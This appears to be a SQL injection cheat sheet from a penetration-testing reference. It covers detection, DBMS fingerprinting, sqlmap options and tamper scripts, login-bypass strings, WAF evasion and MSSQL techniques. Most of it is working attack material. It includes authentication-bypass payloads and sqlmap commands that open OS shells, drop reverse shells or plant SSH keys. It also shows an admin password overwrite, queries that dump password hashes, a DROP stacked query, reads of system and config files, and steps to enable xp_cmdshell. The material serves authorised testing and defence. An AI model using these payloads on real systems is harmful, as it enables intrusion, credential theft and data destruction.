* [Insert Statement - ON DUPLICATE KEY UPDATE](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [WAF Bypass](broken://pages/nOAvBc7zgCsl1ns2hW4r)

## Entry point detection

Detection of an SQL injection entry point Simple characters

```sql
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
&apos;  # required for XML content
```

Multiple encoding

```sql
%%2727
%25%27
```

Merging characters

```sql
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

Logic Testing

```sql
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Weird characters

```sql
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

## DBMS Identification

```c
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

## SQL injection using SQLmap

### Basic arguments for SQLmap

```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

### Load a request file and use mobile user-agent

```powershell
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

### Custom injection in UserAgent/Header/Referer/Cookie

```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

### Second order injection

```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

```powershell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

### Crawl a website with SQLmap and auto-exploit

```powershell
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### Using TOR with SQLmap

```powershell
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

### Using a proxy with SQLmap

```powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

### Using Chrome cookie and a Proxy

```powershell
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

### Using suffix to tamper the injection

```powershell
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

### General tamper option and tamper's list

```powershell
tamper=name_of_the_tamper
```

| Tamper                       | Description                                                                                                                                        |
| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0x2char.py                   | Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart                                                               |
| apostrophemask.py            | Replaces apostrophe character with its UTF-8 full width counterpart                                                                                |
| apostrophenullencode.py      | Replaces apostrophe character with its illegal double unicode counterpart                                                                          |
| appendnullbyte.py            | Appends encoded NULL byte character at the end of payload                                                                                          |
| base64encode.py              | Base64 all characters in a given payload                                                                                                           |
| between.py                   | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'                                                                                    |
| bluecoat.py                  | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator                 |
| chardoubleencode.py          | Double url-encodes all characters in a given payload (not processing already encoded)                                                              |
| charencode.py                | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)                                 |
| charunicodeencode.py         | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)       |
| charunicodeescape.py         | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)   |
| commalesslimit.py            | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'                                                                                       |
| commalessmid.py              | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'                                                                                  |
| commentbeforeparentheses.py  | Prepends (inline) comment before parentheses (e.g. ( -> /\*\*/()                                                                                   |
| concat2concatws.py           | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'                                                                 |
| charencode.py                | Url-encodes all characters in a given payload (not processing already encoded)                                                                     |
| charunicodeencode.py         | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)                                                     |
| equaltolike.py               | Replaces all occurrences of operator equal ('=') with operator 'LIKE'                                                                              |
| escapequotes.py              | Slash escape quotes (' and ")                                                                                                                      |
| greatest.py                  | Replaces greater than operator ('>') with 'GREATEST' counterpart                                                                                   |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword                                                                                                   |
| htmlencode.py                | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')                                                                      |
| ifnull2casewhenisnull.py     | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart                                                |
| ifnull2ifisnull.py           | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'                                                                                  |
| informationschemacomment.py  | Add an inline comment (/\*\*/) to the end of all occurrences of (MySQL) “information\_schema” identifier                                           |
| least.py                     | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart                                                                                      |
| lowercase.py                 | Replaces each keyword character with lower case value (e.g. SELECT -> select)                                                                      |
| modsecurityversioned.py      | Embraces complete query with versioned comment                                                                                                     |
| modsecurityzeroversioned.py  | Embraces complete query with zero-versioned comment                                                                                                |
| multiplespaces.py            | Adds multiple spaces around SQL keywords                                                                                                           |
| nonrecursivereplacement.py   | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters                               |
| overlongutf8.py              | Converts all characters in a given payload (not processing already encoded)                                                                        |
| overlongutf8more.py          | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
| percentage.py                | Adds a percentage sign ('%') infront of each character                                                                                             |
| plus2concat.py               | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart                                                                            |
| plus2fnconcat.py             | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart                                                                  |
| randomcase.py                | Replaces each keyword character with random case value                                                                                             |
| randomcomments.py            | Add random comments to SQL keywords                                                                                                                |
| securesphere.py              | Appends special crafted string                                                                                                                     |
| sp\_password.py              | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs                                                          |
| space2comment.py             | Replaces space character (' ') with comments                                                                                                       |
| space2dash.py                | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')                                        |
| space2hash.py                | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')                                      |
| space2morehash.py            | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')                                      |
| space2mssqlblank.py          | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| space2mssqlhash.py           | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')                                                          |
| space2mysqlblank.py          | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| space2mysqldash.py           | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')                                                            |
| space2plus.py                | Replaces space character (' ') with plus ('+')                                                                                                     |
| space2randomblank.py         | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| symboliclogical.py           | Replaces AND and OR logical operators with their symbolic counterparts (&& and                                                                     |
| unionalltounion.py           | Replaces UNION ALL SELECT with UNION SELECT                                                                                                        |
| unmagicquotes.py             | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)                             |
| uppercase.py                 | Replaces each keyword character with upper case value 'INSERT'                                                                                     |
| varnish.py                   | Append a HTTP header 'X-originating-IP'                                                                                                            |
| versionedkeywords.py         | Encloses each non-function keyword with versioned MySQL comment                                                                                    |
| versionedmorekeywords.py     | Encloses each keyword with versioned MySQL comment                                                                                                 |
| xforwardedfor.py             | Append a fake HTTP header 'X-Forwarded-For'                                                                                                        |

### SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

```
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all 
```

## Authentication bypass

```sql
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

## Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

```php
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`

```php
md5("ffifdyop", true) = 'or'6�]��!r,��b
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

Challenge demo available at <http://web.jarvisoj.com:32772>

## Polyglot injection (multicontext)

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

## Routed injection

```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

## Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```sql
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```

## WAF Bypass

### White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

No Whitespace - bypass using comments

```sql
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis

```sql
?id=(1)and(1)=(1)--
```

Whitespace alternatives by DBMS

| DBMS       | ASCII characters in hexadicimal                                                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SQLite3    | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| MySQL 5    | 09, 0A, 0B, 0C, 0D, A0, 20                                                                                                                                             |
| MySQL 3    | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20                                                                                                                                                 |
| MSSQL      | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20                                         |

Example of query where spaces were replaced by ascii characters above 0x80

```
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```

### No Comma

Bypass using OFFSET, FROM and JOIN

```sql
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```

### Case modification

Bypass using uppercase/lowercase (see keyword AND)

```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Bypass using keywords case insensitive / Bypass using an equivalent operator

```sql
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

### Obfuscation by DBMS

MySQL

```
1.UNION	SELECT	2	
3.2UNION	SELECT	2	
1e0UNION	SELECT	2	
SELECT\N/0.e3UNION	SELECT	2	
1e1AND-0.0UNION	SELECT	2	
1/*!12345UNION/*!31337SELECT/*!table_name*/	
{ts	1}UNION	SELECT.``	1.e.table_name	
SELECT	$.``	1.e.table_name	
SELECT{_	.``1.e.table_name}	
SELECT	LightOS	.	``1.e.table_name	LightOS	
SELECT	information_schema 1337.e.tables	13.37e.table_name	
SELECT	1	from	information_schema 9.e.table_name
```

MSSQL

```
.1UNION	SELECT	2	
1.UNION	SELECT.2alias	
1e0UNION	SELECT	2	
1e1AND-1=0.0UNION	SELECT	2	
SELECT	0xUNION	SELECT	2	
SELECT\UNION	SELECT	2	
\1UNION	SELECT	2	
SELECT	1FROM[table]WHERE\1=\1AND\1=\1	
SELECT"table_name"FROM[information_schema].[tables]	
```

Oracle

```
1FUNION	SELECT	2	
1DUNION	SELECT	2	
SELECT	0x7461626c655f6e616d65	FROM	all_tab_tables
SELECT	CHR(116)	||	CHR(97)	||	CHR(98)	FROM	all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables
```

### More MySQL specific

`information_schema.tables` alternative

```sql
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

Version Alternative

```sql
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

#### WAF bypass for MySQL using scientific notation

Blocked

```sql
' or ''='
```

Working

```sql
' or 1.e('')='
```

Obfuscated query

```sql
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
```

## References

* Detect SQLi
  * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
  * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* MySQL:
  * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
  * [Alternative for Information\_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
  * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* MSSQL:
  * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
  * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE:
  * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL:
  * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others
  * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
  * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
  * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
  * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
  * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
  * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
  * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
  * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
  * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
  * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* Second Order:
  * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
  * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap:
  * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
* WAF:
  * [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
  * [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)


# MSSQL Injection

## Summary

* [MSSQL Comments](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL User](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Version](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Hostname](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Database name](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL List databases](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL List columns](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL List tables](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Extract user/password](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Union Based](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Error Based](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Blind Based](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Time Based](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Stacked query](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Read file](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Command execution](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Out of band](broken://pages/7Jyqc7AYtthVzr56er35)
  * [MSSQL DNS exfiltration](broken://pages/7Jyqc7AYtthVzr56er35)
  * [MSSQL UNC path](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Make user DBA](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL Trusted Links](broken://pages/7Jyqc7AYtthVzr56er35)
* [MSSQL List permissions](broken://pages/7Jyqc7AYtthVzr56er35)

## MSSQL Comments

```sql
-- comment goes here
/* comment goes here */
```

## MSSQL User

```sql
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
```

## MSSQL version

```sql
SELECT @@version
```

## MSSQL Hostname

```sql
SELECT HOST_NAME()
SELECT @@hostname;
```

## MSSQL Database name

```sql
SELECT DB_NAME()
```

## MSSQL List databases

```sql
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb   (Only works in MSSQL 2017+)
```

## MSSQL List columns

```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
```

## MSSQL List tables

```sql
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
```

## MSSQL Extract user/password

```sql
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```

## MSSQL Union Based

```sql
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT  UserId, UserName from Users
```

## MSSQL Error based

```sql
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '
```

## MSSQL Blind based

```sql
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```

## MSSQL Time based

```sql
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'     comment:   --
```

## MSSQL Stacked Query

Use a semi-colon ";" to add another query

```sql
ProductID=1; DROP members--
```

## MSSQL Read file

**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.

```sql
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
```

## MSSQL Command execution

```sql
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```

If you need to reactivate xp\_cmdshell (disabled by default in SQL Server 2005)

```sql
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```

To interact with the MSSQL instance.

```powershell
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
```

Execute Python script

> Executed by a different user than the one using xp\_cmdshell to execute commands

```powershell
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```

